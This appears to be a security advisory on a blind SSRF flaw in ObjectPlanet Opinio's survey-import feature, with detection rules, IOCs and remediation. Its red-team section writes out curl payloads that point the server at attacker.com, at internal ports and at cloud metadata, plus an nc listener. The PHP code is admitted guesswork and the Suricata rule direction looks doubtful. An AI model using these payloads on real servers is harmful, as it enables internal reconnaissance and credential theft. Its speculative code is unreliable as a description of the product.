CVE-2025-13872

Executive Summary

CVE-2025-13872 is a Blind Server-Side Request Forgery (SSRF) vulnerability discovered in ObjectPlanet Opinio version 7.26 rev12562, specifically within the survey-import feature. This flaw allows an unauthenticated attacker to force the web server to perform arbitrary HTTP GET requests to internal or external destinations by crafting malicious import requests. The vulnerability is classified as a blind SSRF, meaning the attacker does not receive direct responses from the target, but can infer success through side-channel effects (e.g., timing, logs, or out-of-band interactions). The vendor has not released a patch, and no public exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk is elevated due to the lack of a patch and the potential for internal network reconnaissance.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone web application (ObjectPlanet Opinio) deployed on web-based platforms. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not cross trust boundaries.
• Confidentiality Impact: Low (C:L) – Limited information disclosure (e.g., internal service banners).
• Integrity Impact: Low (I:L) – Limited ability to modify data (e.g., via internal API calls).
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the blind nature of the SSRF and the lack of a patch increase the operational risk, especially for organizations using Opinio in internal networks.

Deep Dive & Mechanics

The vulnerability resides in the survey-import feature of ObjectPlanet Opinio. This feature allows administrators to import survey definitions from external URLs. The application fails to validate or sanitize the user-supplied URL, allowing an attacker to specify arbitrary destinations. When the server processes the import request, it performs an HTTP GET request to the attacker-controlled URL. Because the request originates from the server, it can reach internal resources (e.g., http://localhost:8080, http://192.168.1.1/admin) that are not accessible from the external network.

Blind SSRF Characteristics:

• The attacker does not receive the response body directly.
• Success is inferred through:
  • Timing: Delays in response if the target is reachable.
  • Out-of-Band (OOB): Using a controlled external server to log incoming requests.
  • Error Messages: Differences in error responses (e.g., connection refused vs. timeout).
• The attacker can use this to:
  • Scan internal ports and services.
  • Access internal APIs or admin panels.
  • Potentially chain with other vulnerabilities (e.g., internal RCE).

Attack Flow:

1. Attacker identifies an Opinio instance with the survey-import feature exposed.
2. Attacker crafts a POST request to the import endpoint with a malicious URL (e.g., http://169.254.169.254/latest/meta-data/ for cloud metadata).
3. The server performs an HTTP GET to that URL.
4. Attacker monitors an external server for the request (OOB) or observes timing differences.
5. Based on the response, attacker maps internal services.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the survey-import handler. A typical vulnerable pattern in PHP (Opinio is likely PHP-based) would be:

Vulnerable Code (PHP-like):

<?php
$url = $_POST['import_url'];
$response = file_get_contents($url); // No validation
// Process $response...
?>

Patched Code (Hypothetical):

<?php
$url = $_POST['import_url'];
$parsed_url = parse_url($url);
$host = $parsed_url['host'] ?? '';

// Allow only specific external domains
$allowed_hosts = ['surveys.objectplanet.com', 'api.objectplanet.com'];
if (!in_array($host, $allowed_hosts)) {
    die('Invalid import URL');
}

// Or use a whitelist of IP ranges
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    $response = file_get_contents($url);
} else {
    die('Blocked internal IP');
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target: ObjectPlanet Opinio 7.26 rev12562 with survey-import feature exposed.
• Attacker-controlled external server (e.g., attacker.com) to receive OOB requests.

Exploitation Steps:

1. Identify the import endpoint:

   • Common endpoint: /opinio/importSurvey or /survey/import.
   • Use directory brute-forcing or review documentation.

2. Craft a blind SSRF payload:

   curl -X POST "http://target.com/opinio/importSurvey" \
        -d "import_url=http://attacker.com/test" \
        -v
   

3. Monitor external server:

   # On attacker.com, run a simple HTTP listener
   nc -lvnp 80
   

   If the request appears, the SSRF is confirmed.

4. Internal network scanning:

   # Scan internal ports
   for port in 80 443 8080 3306 6379; do
       curl -X POST "http://target.com/opinio/importSurvey" \
            -d "import_url=http://192.168.1.1:$port" \
            --connect-timeout 5
   done
   

5. Cloud metadata access (if hosted on AWS):

   curl -X POST "http://target.com/opinio/importSurvey" \
        -d "import_url=http://169.254.169.254/latest/meta-data/"
   

Note: Since this is a blind SSRF, use OOB techniques (e.g., Burp Collaborator, Interactsh) to capture requests.

Blue Team (Defensive)

Detection Steps:

1. Monitor outbound HTTP requests from the Opinio server to unexpected destinations (especially private IPs or external unknown hosts).
2. Review web server logs for POST requests to /opinio/importSurvey with suspicious import_url parameters.
3. Implement network segmentation to restrict the Opinio server's outbound access to only necessary external services.
4. Deploy a Web Application Firewall (WAF) rule to block requests containing private IP ranges in the import_url parameter.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/opinio/importSurvey" AND form_data=*import_url*
| rex field=form_data "import_url=(?<target_url>[^&]+)"
| eval decoded_url=urldecode(target_url)
| search decoded_url IN ("*10.*", "*172.16.*", "*192.168.*", "*169.254.*", "*127.0.0.1*")
| table _time, src_ip, decoded_url, status

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from the Opinio server to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, 127.0.0.0/8).
  • Requests to cloud metadata endpoints (e.g., 169.254.169.254, 100.100.100.200 for Alibaba).
  • Requests to attacker-controlled external domains with unusual patterns.

• File IOCs:

  • Log entries in /var/log/opinio/access.log or similar containing import_url with suspicious URLs.
  • Temporary files created during import processing (e.g., /tmp/opinio_import_*).

• Behavioral IOCs:

  • Unusual latency in survey import responses due to internal network timeouts.
  • Multiple failed connection attempts to internal IPs from the Opinio server.

Detection Engineering

YARA Rule

rule CVE_2025_13872_SSRF_Import {
    meta:
        description = "Detects SSRF attempts targeting ObjectPlanet Opinio survey-import feature"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-13872"
    strings:
        $import_param = "import_url="
        $private_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|127\.\d{1,3}\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
        $cloud_metadata = "169.254.169.254"
    condition:
        $import_param and ($private_ip or $cloud_metadata)
}

Sigma Rule

title: CVE-2025-13872 - Blind SSRF via Survey Import
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to ObjectPlanet Opinio survey-import endpoint with suspicious import_url parameters targeting private IPs or cloud metadata.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/opinio/importSurvey'
    keywords:
        - 'import_url=10.'
        - 'import_url=172.16.'
        - 'import_url=172.17.'
        - 'import_url=172.18.'
        - 'import_url=172.19.'
        - 'import_url=172.20.'
        - 'import_url=172.21.'
        - 'import_url=172.22.'
        - 'import_url=172.23.'
        - 'import_url=172.24.'
        - 'import_url=172.25.'
        - 'import_url=172.26.'
        - 'import_url=172.27.'
        - 'import_url=172.28.'
        - 'import_url=172.29.'
        - 'import_url=172.30.'
        - 'import_url=172.31.'
        - 'import_url=192.168.'
        - 'import_url=127.'
        - 'import_url=169.254.'
        - 'import_url=0.'
    condition: selection and keywords
falsepositives:
    - Legitimate imports from internal survey servers (if whitelisted)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13872 - Blind SSRF via Survey Import"; flow:to_server,established; content:"POST"; http_method; content:"/opinio/importSurvey"; http_uri; content:"import_url="; http_client_body; pcre:"/import_url=(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|127\.\d{1,3}\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/Ri"; classtype:attempted-recon; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the survey-import feature if not essential, or restrict access to authenticated administrators only.
2. Implement network-level controls:
   • Use a firewall to block outbound traffic from the Opinio server to private IP ranges.
   • Restrict outbound HTTP/HTTPS to only known external survey sources.
3. Apply a WAF rule to block POST requests containing private IP addresses in the import_url parameter.

Long-Term Fixes:

1. Vendor Patch: Await an official patch from ObjectPlanet. In the meantime, consider upgrading to a newer version if available.
2. Code Hardening: If source code is accessible, implement URL validation:
   • Whitelist allowed domains/IPs.
   • Block private and reserved IP ranges.
   • Use a URL parser to validate the scheme (only http/https allowed).
3. Monitoring: Deploy the detection rules above to alert on SSRF attempts.

Workaround:

• If the import feature is required, create a proxy service that validates URLs before forwarding them to the Opinio server.

Valters IT